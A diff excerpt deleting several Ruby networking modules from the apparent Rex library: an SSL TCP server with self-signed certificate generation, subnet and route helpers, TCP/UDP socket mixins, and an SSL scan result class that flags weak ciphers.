attr_writer :ssl_negotiated_version # :nodoc:
|
||||
|
||||
|
||||
rescue LoadError
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,220 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/socket/tcp_server'
|
||||
require 'rex/io/stream_server'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with an SSL wrapped TCP server. It
|
||||
# implements the StreamServer IO interface.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::SslTcpServer
|
||||
|
||||
@@loaded_openssl = false
|
||||
|
||||
begin
|
||||
require 'openssl'
|
||||
@@loaded_openssl = true
|
||||
require 'openssl/nonblock'
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
include Rex::Socket::TcpServer
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
def self.create(hash = {})
|
||||
hash['Proto'] = 'tcp'
|
||||
hash['Server'] = true
|
||||
hash['SSL'] = true
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around the base class' creation method that automatically sets
|
||||
# the parameter's protocol to TCP and sets the server flag to true.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.proto = 'tcp'
|
||||
param.server = true
|
||||
param.ssl = true
|
||||
Rex::Socket.create_param(param)
|
||||
end
|
||||
|
||||
def initsock(params = nil)
|
||||
raise RuntimeError, 'No OpenSSL support' unless @@loaded_openssl
|
||||
|
||||
if params && params.sslctx && params.sslctx.kind_of?(OpenSSL::SSL::SSLContext)
|
||||
self.sslctx = params.sslctx
|
||||
else
|
||||
self.sslctx = makessl(params)
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# (see TcpServer#accept)
|
||||
def accept(opts = {})
|
||||
sock = super()
|
||||
return if not sock
|
||||
|
||||
begin
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(sock, self.sslctx)
|
||||
|
||||
if not allow_nonblock?(ssl)
|
||||
ssl.accept
|
||||
else
|
||||
begin
|
||||
ssl.accept_nonblock
|
||||
|
||||
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
IO::select(nil, nil, nil, 0.10)
|
||||
retry
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
rescue ::Exception => e
|
||||
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
||||
IO::select( [ ssl ], nil, nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
IO::select( nil, [ ssl ], nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
sock.extend(Rex::Socket::SslTcp)
|
||||
sock.sslsock = ssl
|
||||
sock.sslctx = self.sslctx
|
||||
|
||||
return sock
|
||||
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
sock.close
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format that contains a private key and
|
||||
# one or more certificates. The first certificate is the primary, while any
|
||||
# additional certificates are treated as intermediary certificates. This emulates
|
||||
# the behavior of web servers like nginx.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_parse_pem(ssl_cert)
|
||||
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
|
||||
end
|
||||
|
||||
#
|
||||
# Shim for the ssl_parse_pem module method
|
||||
#
|
||||
def ssl_parse_pem(ssl_cert)
|
||||
Rex::Socket::SslTcpServer.ssl_parse_pem(ssl_cert)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a realistic-looking but obstensibly fake SSL
|
||||
# certificate. This matches a typical "snakeoil" cert.
|
||||
#
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_generate_certificate
|
||||
yr = 24*3600*365
|
||||
vf = Time.at(Time.now.to_i - rand(yr * 3) - yr)
|
||||
vt = Time.at(vf.to_i + (10 * yr))
|
||||
cn = Rex::Text.rand_text_alpha_lower(rand(8)+2)
|
||||
key = OpenSSL::PKey::RSA.new(2048){ }
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
|
||||
cert.subject = OpenSSL::X509::Name.new([["CN", cn]])
|
||||
cert.issuer = OpenSSL::X509::Name.new([["CN", cn]])
|
||||
cert.not_before = vf
|
||||
cert.not_after = vt
|
||||
cert.public_key = key.public_key
|
||||
|
||||
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
|
||||
cert.extensions = [
|
||||
ef.create_extension("basicConstraints","CA:FALSE")
|
||||
]
|
||||
ef.issuer_certificate = cert
|
||||
|
||||
cert.sign(key, OpenSSL::Digest::SHA256.new)
|
||||
|
||||
[key, cert, nil]
|
||||
end
|
||||
|
||||
#
|
||||
# Shim for the ssl_generate_certificate module method
|
||||
#
|
||||
def ssl_generate_certificate
|
||||
Rex::Socket::SslTcpServer.ssl_generate_certificate
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new ssl context. If +ssl_cert+ is not given, generates a new
|
||||
# key and a leaf certificate with random values.
|
||||
#
|
||||
# @param [Rex::Socket::Parameters] params
|
||||
# @return [::OpenSSL::SSL::SSLContext]
|
||||
def makessl(params)
|
||||
|
||||
if params.ssl_cert
|
||||
key, cert, chain = ssl_parse_pem(params.ssl_cert)
|
||||
else
|
||||
key, cert, chain = ssl_generate_certificate
|
||||
end
|
||||
|
||||
ctx = OpenSSL::SSL::SSLContext.new()
|
||||
ctx.key = key
|
||||
ctx.cert = cert
|
||||
ctx.extra_chain_cert = chain
|
||||
ctx.options = 0
|
||||
|
||||
if params.ssl_cipher
|
||||
ctx.ciphers = params.ssl_cipher
|
||||
end
|
||||
|
||||
# Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol
|
||||
if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)
|
||||
# enable/disable the SSL/TLS-level compression
|
||||
if params.ssl_compression
|
||||
ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION
|
||||
else
|
||||
ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION
|
||||
end
|
||||
end
|
||||
|
||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
return ctx
|
||||
end
|
||||
|
||||
#
|
||||
# This flag determines whether to use the non-blocking openssl
|
||||
# API calls when they are available. This is still buggy on
|
||||
# Linux/Mac OS X, but is required on Windows
|
||||
#
|
||||
def allow_nonblock?(sock=self.sock)
|
||||
avail = sock.respond_to?(:accept_nonblock)
|
||||
if avail and Rex::Compat.is_windows
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
attr_accessor :sslctx
|
||||
end
|
||||
|
|
@ -1,76 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Socket
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to enumerating a subnet with a supplied
|
||||
# netmask.
|
||||
#
|
||||
###
|
||||
class SubnetWalker
|
||||
|
||||
#
|
||||
# Initializes a subnet walker instance using the supplied subnet
|
||||
# information.
|
||||
#
|
||||
def initialize(subnet, netmask)
|
||||
self.subnet = Socket.resolv_to_dotted(subnet)
|
||||
self.netmask = Socket.resolv_to_dotted(netmask)
|
||||
|
||||
reset
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the subnet walker back to its original state.
|
||||
#
|
||||
def reset
|
||||
self.curr_ip = self.subnet.split('.')
|
||||
self.num_ips = (1 << (32 - Socket.net2bitmask(self.netmask).to_i))
|
||||
self.curr_ip_idx = 0
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the next IP address.
|
||||
#
|
||||
def next_ip
|
||||
if (curr_ip_idx >= num_ips)
|
||||
return nil
|
||||
end
|
||||
|
||||
if (curr_ip_idx > 0)
|
||||
self.curr_ip[3] = (curr_ip[3].to_i + 1) % 256
|
||||
self.curr_ip[2] = (curr_ip[2].to_i + 1) % 256 if (curr_ip[3] == 0)
|
||||
self.curr_ip[1] = (curr_ip[1].to_i + 1) % 256 if (curr_ip[2] == 0)
|
||||
self.curr_ip[0] = (curr_ip[0].to_i + 1) % 256 if (curr_ip[1] == 0)
|
||||
end
|
||||
|
||||
self.curr_ip_idx += 1
|
||||
|
||||
self.curr_ip.join('.')
|
||||
end
|
||||
|
||||
#
|
||||
# The subnet that is being enumerated.
|
||||
#
|
||||
attr_reader :subnet
|
||||
#
|
||||
# The netmask of the subnet.
|
||||
#
|
||||
attr_reader :netmask
|
||||
#
|
||||
# The total number of IPs within the subnet.
|
||||
#
|
||||
attr_reader :num_ips
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :subnet, :netmask, :num_ips # :nodoc:
|
||||
attr_accessor :curr_ip, :curr_ip_idx # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,289 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'singleton'
|
||||
require 'thread'
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Socket
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides a global routing table that associates subnets with Comm
|
||||
# classes. Comm classes are used to instantiate objects that are tied to
|
||||
# remote network entities. For example, the Local Comm class is used to
|
||||
# building network connections directly from the local machine whereas, for
|
||||
# instance, a Meterpreter Comm would build a local socket pair that is
|
||||
# associated with a connection established by a remote entity. This can be
|
||||
# seen as a uniform way of communicating with hosts through arbitrary
|
||||
# channels.
|
||||
#
|
||||
###
|
||||
class SwitchBoard
|
||||
|
||||
include Singleton
|
||||
include Enumerable
|
||||
|
||||
def initialize
|
||||
@_initialized = false
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class represents a logical switch board route.
|
||||
# TODO: Enable this to work with IPv6 addresses
|
||||
#
|
||||
###
|
||||
class Route
|
||||
def initialize(subnet, netmask, comm)
|
||||
self.subnet = subnet
|
||||
self.netmask = netmask
|
||||
self.comm = comm
|
||||
self.subnet_nbo = Socket.resolv_nbo_i(subnet)
|
||||
self.netmask_nbo = Socket.resolv_nbo_i(netmask)
|
||||
end
|
||||
|
||||
#
|
||||
# Sort according to bitmask
|
||||
#
|
||||
def <=>(other)
|
||||
self.bitmask <=> other.bitmask
|
||||
end
|
||||
|
||||
#
|
||||
# Convert the netmask to a bitmask and cache it.
|
||||
#
|
||||
def bitmask
|
||||
@_bitmask = Socket.net2bitmask(self.netmask) if (@_bitmask == nil)
|
||||
@_bitmask
|
||||
end
|
||||
|
||||
attr_reader :subnet, :netmask, :comm
|
||||
attr_reader :subnet_nbo, :netmask_nbo
|
||||
protected
|
||||
attr_writer :subnet, :netmask, :comm
|
||||
attr_writer :subnet_nbo, :netmask_nbo
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Class method wrappers
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Adds a route to the switch board routing table using the supplied Comm
|
||||
# instance.
|
||||
#
|
||||
def self.add_route(subnet, mask, comm)
|
||||
ret = self.instance.add_route(subnet, mask, comm)
|
||||
if ret && comm.respond_to?(:routes) && comm.routes.kind_of?(Array)
|
||||
comm.routes << "#{subnet}/#{mask}"
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a route from the switch board routing table for the supplied
|
||||
# subnet routing through the supplied Comm instance.
|
||||
#
|
||||
def self.remove_route(subnet, mask, comm)
|
||||
ret = self.instance.remove_route(subnet, mask, comm)
|
||||
if ret && comm.respond_to?(:routes) && comm.routes.kind_of?(Array)
|
||||
comm.routes.delete "#{subnet}/#{mask}"
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
#
|
||||
# Flush all the routes from the switch board routing table.
|
||||
#
|
||||
def self.flush_routes
|
||||
ret = self.instance.flush_routes
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerate each route in the routing table.
|
||||
#
|
||||
def self.each(&block)
|
||||
self.instance.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the array of routes.
|
||||
#
|
||||
def self.routes
|
||||
self.instance.routes
|
||||
end
|
||||
|
||||
def self.route_exists?(subnet, mask)
|
||||
self.instance.route_exists?(subnet, mask)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the Comm instance that should be used for the supplied address.
|
||||
# If no comm can be found, the default Local Comm is returned.
|
||||
#
|
||||
def self.best_comm(addr)
|
||||
self.instance.best_comm(addr)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes all routes that go through the supplied Comm.
|
||||
#
|
||||
def self.remove_by_comm(comm)
|
||||
self.instance.remove_by_comm(comm)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Instance methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Adds a route for a given subnet and netmask destined through a given comm
|
||||
# instance.
|
||||
#
|
||||
def add_route(subnet, mask, comm)
|
||||
# If a bitmask was supplied, convert it.
|
||||
netmask = (mask.to_s =~ /^\d+$/) ? Rex::Socket.bit2netmask(mask.to_i) : mask
|
||||
rv = true
|
||||
|
||||
_init
|
||||
|
||||
mutex.synchronize {
|
||||
# If the route already exists, return false to the caller.
|
||||
if (route_exists?(subnet, netmask) == false)
|
||||
self.routes << Route.new(subnet, netmask, comm)
|
||||
else
|
||||
rv = false
|
||||
end
|
||||
}
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a route for a given subnet and netmask destined through a given
|
||||
# comm instance.
|
||||
#
|
||||
def remove_route(subnet, mask, comm)
|
||||
# If a bitmask was supplied, convert it.
|
||||
netmask = (mask.to_s =~ /^\d+$/) ? Rex::Socket.bit2netmask(mask.to_i) : mask
|
||||
rv = false
|
||||
|
||||
_init
|
||||
|
||||
mutex.synchronize {
|
||||
self.routes.delete_if { |route|
|
||||
if (route.subnet == subnet and route.netmask == netmask and route.comm == comm)
|
||||
rv = true
|
||||
else
|
||||
false
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
#
|
||||
# Flushes all established routes.
|
||||
#
|
||||
def flush_routes
|
||||
_init
|
||||
|
||||
# Remove each of the individual routes so the comms don't think they're
|
||||
# still routing after a flush.
|
||||
self.routes.each { |r|
|
||||
if r.comm.respond_to? :routes
|
||||
r.comm.routes.delete("#{r.subnet}/#{r.netmask}")
|
||||
end
|
||||
}
|
||||
# Re-initialize to an empty array
|
||||
self.routes = Array.new
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if a route already exists for the supplied subnet and
|
||||
# netmask.
|
||||
#
|
||||
def route_exists?(subnet, netmask)
|
||||
each { |route|
|
||||
return true if (route.subnet == subnet and route.netmask == netmask)
|
||||
}
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerates each entry in the routing table.
|
||||
#
|
||||
def each(&block)
|
||||
_init
|
||||
|
||||
routes.each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Finds the best possible comm for the supplied target address.
|
||||
#
|
||||
def best_comm(addr)
|
||||
|
||||
addr_nbo = Socket.resolv_nbo_i(addr)
|
||||
comm = nil
|
||||
msb = 0
|
||||
|
||||
each { |route|
|
||||
if ((route.subnet_nbo & route.netmask_nbo) ==
|
||||
(addr_nbo & route.netmask_nbo))
|
||||
if (route.bitmask >= msb)
|
||||
comm = route.comm
|
||||
msb = route.bitmask
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
comm
|
||||
end
|
||||
|
||||
#
|
||||
# Remove all routes that go through the supplied comm.
|
||||
#
|
||||
def remove_by_comm(comm)
|
||||
_init
|
||||
mutex.synchronize {
|
||||
routes.delete_if { |route|
|
||||
route.comm == comm
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# The routes array.
|
||||
#
|
||||
attr_reader :routes
|
||||
#
|
||||
# The mutex protecting the routes array.
|
||||
#
|
||||
attr_reader :mutex
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :routes, :mutex # :nodoc:
|
||||
|
||||
#
|
||||
# Initializes the underlying stuff.
|
||||
#
|
||||
def _init
|
||||
if (@_initialized != true)
|
||||
@_initialized = true
|
||||
self.routes = Array.new
|
||||
self.mutex = Mutex.new
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,79 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/io/stream'
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with a TCP client connection.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::Tcp
|
||||
|
||||
include Rex::Socket
|
||||
include Rex::IO::Stream
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates the client using the supplied hash.
|
||||
#
|
||||
# @see create_param
|
||||
# @see Rex::Socket::Parameters.from_hash
|
||||
def self.create(hash = {})
|
||||
hash['Proto'] = 'tcp'
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around the base socket class' creation method that automatically
|
||||
# sets the parameter's protocol to TCP.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.proto = 'tcp'
|
||||
Rex::Socket.create_param(param)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Stream mixin implementations
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Calls shutdown on the TCP connection.
|
||||
#
|
||||
def shutdown(how = ::Socket::SHUT_RDWR)
|
||||
begin
|
||||
return (super(how) == 0)
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns peer information (host + port) in host:port format.
|
||||
#
|
||||
def peerinfo
|
||||
if (pi = getpeername_as_array)
|
||||
return pi[1] + ':' + pi[2].to_s
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns local information (host + port) in host:port format.
|
||||
#
|
||||
def localinfo
|
||||
if (pi = getlocalname)
|
||||
return pi[1] + ':' + pi[2].to_s
|
||||
end
|
||||
end
|
||||
|
||||
# returns socket type
|
||||
def type?
|
||||
return 'tcp'
|
||||
end
|
||||
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/socket/tcp'
|
||||
require 'rex/io/stream_server'
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with a TCP server. It
|
||||
# implements the Rex::IO::StreamServer interface.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::TcpServer
|
||||
|
||||
include Rex::Socket
|
||||
include Rex::IO::StreamServer
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates the server using the supplied hash.
|
||||
#
|
||||
def self.create(hash = {})
|
||||
hash['Proto'] = 'tcp'
|
||||
hash['Server'] = true
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around the base class' creation method that automatically sets
|
||||
# the parameter's protocol to TCP and sets the server flag to true.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.proto = 'tcp'
|
||||
param.server = true
|
||||
Rex::Socket.create_param(param)
|
||||
end
|
||||
|
||||
#
|
||||
# Accepts a child connection.
|
||||
#
|
||||
def accept(opts = {})
|
||||
t = super()
|
||||
|
||||
# jRuby compatibility
|
||||
if t.respond_to?('[]')
|
||||
t = t[0]
|
||||
end
|
||||
|
||||
if (t)
|
||||
t.extend(Rex::Socket::Tcp)
|
||||
t.context = self.context
|
||||
|
||||
pn = t.getpeername_as_array
|
||||
|
||||
# We hit a "getpeername(2)" from Ruby
|
||||
return nil unless pn
|
||||
|
||||
t.peerhost = pn[1]
|
||||
t.peerport = pn[2]
|
||||
end
|
||||
|
||||
t
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,165 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with a UDP socket.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::Udp
|
||||
|
||||
include Rex::Socket
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates the client using the supplied hash.
|
||||
#
|
||||
def self.create(hash = {})
|
||||
hash['Proto'] = 'udp'
|
||||
# If we have are to bind to a LocalHost we must be a Server to avail of pivoting.
|
||||
# Rex::Socket::Parameters will subsequently turn off the sever flag after the correct
|
||||
# comm has been chosen.
|
||||
if( hash['LocalHost'] )
|
||||
hash['Server'] = true
|
||||
end
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around the base socket class' creation method that automatically
|
||||
# sets the parameter's protocol to UDP.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.proto = 'udp'
|
||||
Rex::Socket.create_param(param)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# UDP connected state methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Write the supplied datagram to the connected UDP socket.
|
||||
#
|
||||
def write(gram)
|
||||
begin
|
||||
return syswrite(gram)
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
alias put write
|
||||
|
||||
#
|
||||
# Read a datagram from the UDP socket.
|
||||
#
|
||||
def read(length = 65535)
|
||||
if length < 0
|
||||
length = 65535
|
||||
end
|
||||
return sysread(length)
|
||||
end
|
||||
|
||||
#
|
||||
# Read a datagram from the UDP socket with a timeout
|
||||
#
|
||||
def timed_read(length = 65535, timeout=def_read_timeout)
|
||||
begin
|
||||
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
|
||||
(rv[0]) and (rv[0][0] == fd)
|
||||
)
|
||||
return read(length)
|
||||
else
|
||||
return ''
|
||||
end
|
||||
rescue Exception
|
||||
return ''
|
||||
end
|
||||
end
|
||||
|
||||
#alias send write
|
||||
#alias recv read
|
||||
|
||||
##
|
||||
#
|
||||
# UDP non-connected state methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Sends a datagram to the supplied host:port with optional flags.
|
||||
#
|
||||
def sendto(gram, peerhost, peerport, flags = 0)
|
||||
|
||||
# Catch unconnected IPv6 sockets talking to IPv4 addresses
|
||||
peer = Rex::Socket.resolv_nbo(peerhost)
|
||||
if (peer.length == 4 and self.ipv == 6)
|
||||
peerhost = Rex::Socket.getaddress(peerhost, true)
|
||||
if peerhost[0,7].downcase != '::ffff:'
|
||||
peerhost = '::ffff:' + peerhost
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
send(gram, flags, Rex::Socket.to_sockaddr(peerhost, peerport))
|
||||
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Receives a datagram and returns the data and host:port of the requestor
|
||||
# as [ data, host, port ].
|
||||
#
|
||||
def recvfrom(length = 65535, timeout=def_read_timeout)
|
||||
|
||||
begin
|
||||
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
|
||||
(rv[0]) and (rv[0][0] == fd)
|
||||
)
|
||||
data, saddr = recvfrom_nonblock(length)
|
||||
af, host, port = Rex::Socket.from_sockaddr(saddr)
|
||||
|
||||
return [ data, host, port ]
|
||||
else
|
||||
return [ '', nil, nil ]
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return [ '', nil, nil ]
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
return [ '', nil, nil ]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Calls recvfrom and only returns the data
|
||||
#
|
||||
def get(timeout=nil)
|
||||
data, saddr, sport = recvfrom(65535, timeout)
|
||||
return data
|
||||
end
|
||||
|
||||
#
|
||||
# The default number of seconds to wait for a read operation to timeout.
|
||||
#
|
||||
def def_read_timeout
|
||||
10
|
||||
end
|
||||
|
||||
def type?
|
||||
return 'udp'
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,220 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/socket'
|
||||
require 'rex/text/table'
|
||||
|
||||
module Rex::SSLScan
|
||||
class Result
|
||||
|
||||
attr_accessor :openssl_sslv2
|
||||
|
||||
attr_reader :ciphers
|
||||
attr_reader :supported_versions
|
||||
|
||||
def initialize()
|
||||
@cert = nil
|
||||
@ciphers = Set.new
|
||||
@supported_versions = [:SSLv2, :SSLv3, :TLSv1]
|
||||
@deprecated_weak_ciphers = [
|
||||
'ECDHE-RSA-DES-CBC3-SHA',
|
||||
'ECDHE-ECDSA-DES-CBC3-SHA',
|
||||
'SRP-DSS-3DES-EDE-CBC-SHA',
|
||||
'SRP-RSA-3DES-EDE-CBC-SHA',
|
||||
'SRP-3DES-EDE-CBC-SHA',
|
||||
'EDH-RSA-DES-CBC3-SHA',
|
||||
'EDH-DSS-DES-CBC3-SHA',
|
||||
'ECDH-RSA-DES-CBC3-SHA',
|
||||
'ECDH-ECDSA-DES-CBC3-SHA',
|
||||
'DES-CBC3-SHA',
|
||||
'PSK-3DES-EDE-CBC-SHA',
|
||||
'EXP-EDH-RSA-DES-CBC-SHA',
|
||||
'EXP-EDH-DSS-DES-CBC-SHA',
|
||||
'EXP-DES-CBC-SHA',
|
||||
'EXP-RC2-CBC-MD5',
|
||||
'EXP-RC4-MD5'
|
||||
]
|
||||
end
|
||||
|
||||
def cert
|
||||
@cert
|
||||
end
|
||||
|
||||
def cert=(input)
|
||||
unless input.kind_of? OpenSSL::X509::Certificate or input.nil?
|
||||
raise ArgumentError, "Must be an X509 Cert!"
|
||||
end
|
||||
@cert = input
|
||||
end
|
||||
|
||||
def sslv2
|
||||
@ciphers.reject{|cipher| cipher[:version] != :SSLv2 }
|
||||
end
|
||||
|
||||
def sslv3
|
||||
@ciphers.reject{|cipher| cipher[:version] != :SSLv3 }
|
||||
end
|
||||
|
||||
def tlsv1
|
||||
@ciphers.reject{|cipher| cipher[:version] != :TLSv1 }
|
||||
end
|
||||
|
||||
def weak_ciphers
|
||||
accepted.reject{|cipher| cipher[:weak] == false }
|
||||
end
|
||||
|
||||
def strong_ciphers
|
||||
accepted.reject{|cipher| cipher[:weak] }
|
||||
end
|
||||
|
||||
# Returns all accepted ciphers matching the supplied version
|
||||
# @param version [Symbol, Array] The SSL Version to filter on
|
||||
# @raise [ArgumentError] if the version supplied is invalid
|
||||
# @return [Array] An array of accepted cipher details matching the supplied versions
|
||||
def accepted(version = :all)
|
||||
enum_ciphers(:accepted, version)
|
||||
end
|
||||
|
||||
# Returns all rejected ciphers matching the supplied version
|
||||
# @param version [Symbol, Array] The SSL Version to filter on
|
||||
# @raise [ArgumentError] if the version supplied is invalid
|
||||
# @return [Array] An array of rejected cipher details matching the supplied versions
|
||||
def rejected(version = :all)
|
||||
enum_ciphers(:rejected, version)
|
||||
end
|
||||
|
||||
def each_accepted(version = :all)
|
||||
accepted(version).each do |cipher_result|
|
||||
yield cipher_result
|
||||
end
|
||||
end
|
||||
|
||||
def each_rejected(version = :all)
|
||||
rejected(version).each do |cipher_result|
|
||||
yield cipher_result
|
||||
end
|
||||
end
|
||||
|
||||
def supports_sslv2?
|
||||
!(accepted(:SSLv2).empty?)
|
||||
end
|
||||
|
||||
def supports_sslv3?
|
||||
!(accepted(:SSLv3).empty?)
|
||||
end
|
||||
|
||||
def supports_tlsv1?
|
||||
!(accepted(:TLSv1).empty?)
|
||||
end
|
||||
|
||||
def supports_ssl?
|
||||
supports_sslv2? or supports_sslv3? or supports_tlsv1?
|
||||
end
|
||||
|
||||
def supports_weak_ciphers?
|
||||
!(weak_ciphers.empty?)
|
||||
end
|
||||
|
||||
def standards_compliant?
|
||||
if supports_ssl?
|
||||
return false if supports_sslv2?
|
||||
return false if supports_weak_ciphers?
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
# Adds the details of a cipher test to the Result object.
|
||||
# @param version [Symbol] the SSL Version
|
||||
# @param cipher [String] the SSL cipher
|
||||
# @param key_length [Fixnum] the length of encryption key
|
||||
# @param status [Symbol] :accepted or :rejected
|
||||
def add_cipher(version, cipher, key_length, status)
|
||||
unless @supported_versions.include? version
|
||||
raise ArgumentError, "Must be a supported SSL Version"
|
||||
end
|
||||
unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include?(cipher) \
|
||||
|| @deprecated_weak_ciphers.include?(cipher)
|
||||
raise ArgumentError, "Must be a valid SSL Cipher for #{version}!"
|
||||
end
|
||||
unless key_length.kind_of? Fixnum
|
||||
raise ArgumentError, "Must supply a valid key length"
|
||||
end
|
||||
unless [:accepted, :rejected].include? status
|
||||
raise ArgumentError, "Status must be either :accepted or :rejected"
|
||||
end
|
||||
|
||||
strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version)
|
||||
